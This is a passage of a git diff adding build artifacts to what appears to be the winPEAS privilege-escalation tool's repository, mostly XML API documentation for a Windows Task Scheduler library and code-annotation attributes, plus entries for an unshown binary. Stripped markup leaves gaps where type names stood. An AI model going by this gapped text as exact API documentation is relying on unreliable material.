the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe new file mode 100755 index 0000000..ca1c182 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe.config b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe.config new file mode 100755 index 0000000..2c307fa --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.pdb new file mode 100755 index 0000000..e214786 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Release/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..25324e0 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7584 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple 